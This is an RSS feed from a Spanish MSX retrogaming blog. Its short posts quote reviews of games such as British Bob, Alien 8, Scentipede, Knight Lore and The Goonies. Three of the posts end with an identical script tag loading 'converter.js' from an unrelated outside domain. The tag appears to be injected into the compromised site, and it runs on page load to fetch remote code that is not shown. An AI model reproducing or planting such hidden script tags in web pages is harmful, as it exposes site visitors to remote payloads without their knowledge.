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	<title>Retrogaming Total &#8211; MSXBlog</title>
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	<link>https://www.msxblog.es</link>
	<description>MSX en primera persona</description>
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	<title>Retrogaming Total &#8211; MSXBlog</title>
	<link>https://www.msxblog.es</link>
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	<item>
		<title>British Bob comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/british-bob-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/british-bob-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Fri, 19 Sep 2014 07:00:42 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[British Bob]]></category>
		<category><![CDATA[RELEVO Videogames]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=18011</guid>

					<description><![CDATA[Los chicos de Relevo lo han vuelto a hacer; un plataformas de lo más divertido para MSX que ya es un nuevo clásico. Un argumento sencillo pero muy bien realizado&#8230; ]]></description>
										<content:encoded><![CDATA[<p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/British-Bob-RELEVO-Videogames-2009-Front-cover.jpg" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="18012" data-permalink="https://www.msxblog.es/british-bob-comentado-en-retrogaming-total/british-bob-relevo-videogames-2009-front-cover/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/British-Bob-RELEVO-Videogames-2009-Front-cover.jpg?fit=185%2C268&amp;ssl=1" data-orig-size="185,268" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}" data-image-title="British Bob (RELEVO Videogames, 2009)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/British-Bob-RELEVO-Videogames-2009-Front-cover.jpg?fit=185%2C268&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/British-Bob-RELEVO-Videogames-2009-Front-cover.jpg?fit=185%2C268&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-18012" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/British-Bob-RELEVO-Videogames-2009-Front-cover.jpg?resize=185%2C268" alt="British Bob (RELEVO Videogames, 2009)" width="185" height="268" data-recalc-dims="1" /></a></p>
<blockquote><p>Los chicos de Relevo lo han vuelto a hacer; un plataformas de lo más divertido para MSX que ya es un nuevo clásico. Un argumento sencillo pero muy bien realizado y que te da horas de juego sin complicaciones desde el primer momento.</p></blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2014/03/07/british-bob/" target="_blank">Retrogaming Total</a></p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
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		<item>
		<title>Alien 8 remake comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/alien-8-remake-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/alien-8-remake-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Wed, 17 Sep 2014 07:00:24 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Alien 8 Remake]]></category>
		<category><![CDATA[Daniel Celemín]]></category>
		<category><![CDATA[Manuel Pazos]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=18008</guid>

					<description><![CDATA[Alien 8 fue otro éxito de Ultimate Play The Game que apareció en el mercado cuando todavía estábamos asimilando el Knight Lore. Al igual que sucediese con éste, Manuel Pazos&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="18009" data-permalink="https://www.msxblog.es/alien-8-remake-comentado-en-retrogaming-total/alien-8-remake-manual-pazos-daniel-celemin-2008-7/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Alien 8 remake (Manual Pazos, Daniel Celemin, 2008)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?fit=300%2C264&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-18009" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?resize=544%2C480" alt="Alien 8 remake (Manual Pazos, Daniel Celemin, 2008)" width="544" height="480" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?w=544&amp;ssl=1 544w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Alien-8-remake-Manual-Pazos-Daniel-Celemin-2008-7.png?resize=300%2C264&amp;ssl=1 300w" sizes="(max-width: 544px) 100vw, 544px" data-recalc-dims="1" /></a></p>
<blockquote>
<p style="text-align: justify;">Alien 8 fue otro éxito de Ultimate Play The Game que apareció en el mercado cuando todavía estábamos asimilando el Knight Lore. Al igual que sucediese con éste, Manuel Pazos y Daniel Celemín han realizado un remake para MSX2 que eleva el juego a un nivel gráfico y sonoro inimaginable en equipos de 8 bits.</p>
</blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2013/08/06/alien-8-msx2-remake/">Retrogaming Total</a></p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
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		<item>
		<title>Scentipede comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/scentipede-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/scentipede-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 15 Sep 2014 07:00:08 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Aackosoft]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<category><![CDATA[Scentipede]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=18004</guid>

					<description><![CDATA[Scentipede es un clon de Centipede desarrollado por Aackosoft para MSX en 1987. Al igual que otros juegos de la compañía holandesa, estamos ante una réplica perfecta de la recreativa.&#8230; ]]></description>
										<content:encoded><![CDATA[<p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="18005" data-permalink="https://www.msxblog.es/scentipede-comentado-en-retrogaming-total/scentipede-aackosoft-1987-cover-complete/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?fit=386%2C484&amp;ssl=1" data-orig-size="386,484" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}" data-image-title="Scentipede (Aackosoft, 1987)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?fit=239%2C300&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?fit=386%2C484&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-18005" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?resize=386%2C484" alt="Scentipede (Aackosoft, 1987)" width="386" height="484" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?w=386&amp;ssl=1 386w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Scentipede-Aackosoft-1987-Cover-complete.jpg?resize=239%2C300&amp;ssl=1 239w" sizes="(max-width: 386px) 100vw, 386px" data-recalc-dims="1" /></a></p>
<blockquote><p>Scentipede es un clon de Centipede desarrollado por Aackosoft para MSX en 1987. Al igual que otros juegos de la compañía holandesa, estamos ante una réplica perfecta de la recreativa.</p></blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2013/11/22/scentipede/" target="_blank">Retrogaming Total</a></p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
]]></content:encoded>
					
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		<title>Knight Lore comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/knight-lore-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/knight-lore-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Fri, 12 Sep 2014 07:00:55 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Knight Lore]]></category>
		<category><![CDATA[MSX2]]></category>
		<category><![CDATA[Remake]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<category><![CDATA[RetroWorks]]></category>
		<category><![CDATA[Ultimate Play the Game]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=18001</guid>

					<description><![CDATA[Una revisión de un juego que marcó época en cuanto a gráficos y desarrollo con la técnica Filmation desarrollada por los hermanos Stamper en su sello Ultimate Play The Game.&#8230; ]]></description>
										<content:encoded><![CDATA[<p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="18002" data-permalink="https://www.msxblog.es/knight-lore-comentado-en-retrogaming-total/knight-lore-remake-retroworks-2009-cartridge-label/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?fit=461%2C479&amp;ssl=1" data-orig-size="461,479" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}" data-image-title="Knight Lore Remake (Retroworks, 2009)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?fit=288%2C300&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?fit=461%2C479&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-18002" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?resize=461%2C479" alt="Knight Lore Remake (Retroworks, 2009)" width="461" height="479" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?w=461&amp;ssl=1 461w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Knight-Lore-Remake-Retroworks-2009-Cartridge-label.jpg?resize=288%2C300&amp;ssl=1 288w" sizes="(max-width: 461px) 100vw, 461px" data-recalc-dims="1" /></a></p>
<blockquote>
<p style="text-align: justify;">Una revisión de un juego que marcó época en cuanto a gráficos y desarrollo con la técnica Filmation desarrollada por los hermanos Stamper en su sello Ultimate Play The Game.</p>
<p style="text-align: justify;">Tomando el papel de <strong>SABREMAN</strong> el jugador deberá encontrar al mago <strong>MELKHIOR</strong>, y explorar el castillo de <strong>KNIGHT LORE</strong> para encontrar los diferentes objetos que sucesivamente irá pidiendo el caldero.</p>
<p style="text-align: justify;">Una vez recogidos, los objetos deberán ser retornados a <strong>MELKHIOR</strong> y depositados en la olla mágica.</p>
</blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2013/07/27/knight-lore-msx2-remake-de-retroworks/" target="_blank">Retrogaming Total</a>.</p>
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		<title>Malaika comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/malaika-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/malaika-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Tue, 09 Sep 2014 08:00:57 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Malaika]]></category>
		<category><![CDATA[RELEVO Videogames]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=17998</guid>

					<description><![CDATA[Los chicos de Relevo Videogames han vuelto a sorprendernos con este juegazo al más puro estilo de los grandes clásicos de plataformas de los años 80. Gráficos coloridos, música machacona&#8230; ]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="17999" data-permalink="https://www.msxblog.es/malaika-comentado-en-retrogaming-total/malaika-relevo-videogames-2013-cover/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?fit=508%2C664&amp;ssl=1" data-orig-size="508,664" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Malaika (Relevo Videogames, 2013)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?fit=229%2C300&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?fit=508%2C664&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-17999" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?resize=508%2C664" alt="Malaika (Relevo Videogames, 2013)" width="508" height="664" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?w=508&amp;ssl=1 508w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Malaika-Relevo-Videogames-2013-Cover.png?resize=229%2C300&amp;ssl=1 229w" sizes="(max-width: 508px) 100vw, 508px" data-recalc-dims="1" /></a></p>
<p style="text-align: justify;">Los chicos de Relevo Videogames han vuelto a sorprendernos con este juegazo al más puro estilo de los grandes clásicos de plataformas de los años 80.</p>
<p style="text-align: justify;">Gráficos coloridos, música machacona y pegadiza y mucha diversión son  los ingredientes de este título que no puede faltar en tu colección. Es como si acabases de comprar un cartucho para tu ordenador MSX en una tienda de Tokio…</p>
</blockquote>
<p style="text-align: justify;">Enlace relacionado: <a href="http://retrogamingtotal.es/2013/07/31/malaika/" target="_blank">Retrogaming Total</a>.</p>
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		<title>The Goonies comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/the-goonies-comentado-en-retrogaming-total/</link>
					<comments>https://www.msxblog.es/the-goonies-comentado-en-retrogaming-total/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 08 Sep 2014 00:13:29 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Konami]]></category>
		<category><![CDATA[Película]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<category><![CDATA[The Goonies]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=18014</guid>

					<description><![CDATA[Basado en la película Los Goonies este juego es uno de los grandes juegos de plataformas de MSX. Adictivo y entretenido como pocos nos pone en el papel del deforme&#8230; ]]></description>
										<content:encoded><![CDATA[<p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="18015" data-permalink="https://www.msxblog.es/the-goonies-comentado-en-retrogaming-total/the_goonies-box-front/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?fit=1658%2C2241&amp;ssl=1" data-orig-size="1658,2241" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="The Goonies (Portada del juego)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?fit=221%2C300&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?fit=757%2C1024&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter wp-image-18015 size-large" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front-757x1024.jpg?resize=720%2C973" alt="The Goonies (Portada del juego)" width="720" height="973" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?resize=757%2C1024&amp;ssl=1 757w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?resize=221%2C300&amp;ssl=1 221w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/The_Goonies-Box-Front.jpg?w=1658&amp;ssl=1 1658w" sizes="(max-width: 720px) 100vw, 720px" data-recalc-dims="1" /></a></p>
<blockquote><p>Basado en la película Los Goonies este juego es uno de los grandes juegos de plataformas de MSX. Adictivo y entretenido como pocos nos pone en el papel del deforme Sloth que tiene que rescatar a sus amigos que se han perdido en las cavernas buscando el tesoro.</p></blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2013/12/06/the-goonies/">Retrogaming Total</a></p>
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		<title>Rambo comentado en Retrogaming Total</title>
		<link>https://www.msxblog.es/rambo/</link>
					<comments>https://www.msxblog.es/rambo/#respond</comments>
		
		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sun, 07 Sep 2014 23:45:27 +0000</pubDate>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Pack-in-Video]]></category>
		<category><![CDATA[Rambo]]></category>
		<category><![CDATA[Retrogaming Total]]></category>
		<guid isPermaLink="false">http://www.msxblog.es/?p=17995</guid>

					<description><![CDATA[Pack in Video lanzaría un juego basado en la película para MSX en cartucho diferente al de Ocean pero simultáneos en el tiempo. Un desarrollo parecido al estar basado en&#8230; ]]></description>
										<content:encoded><![CDATA[<p><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="17996" data-permalink="https://www.msxblog.es/rambo/rambo-pack-in-video-1985-front-cover/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?fit=772%2C1080&amp;ssl=1" data-orig-size="772,1080" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Rambo (Pack-in-Video, 1985)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?fit=214%2C300&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?fit=731%2C1024&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter wp-image-17996 size-large" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover-731x1024.jpg?resize=720%2C1008" alt="Rambo (Pack-in-Video, 1985)" width="720" height="1008" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?resize=731%2C1024&amp;ssl=1 731w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?resize=214%2C300&amp;ssl=1 214w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/09/Rambo-Pack-in-Video-1985-Front-cover.jpg?w=772&amp;ssl=1 772w" sizes="(max-width: 720px) 100vw, 720px" data-recalc-dims="1" /></a></p>
<blockquote><p>Pack in Video lanzaría un juego basado en la película para MSX en cartucho diferente al de Ocean pero simultáneos en el tiempo. Un desarrollo parecido al estar basado en la misma película pero gráficamente diferente y no tan entretenido y que apenas tuvo difusión en España.</p></blockquote>
<p>Enlace relacionado: <a href="http://retrogamingtotal.es/2013/04/26/rambo/" target="_blank">Retrogaming Total</a>.</p>
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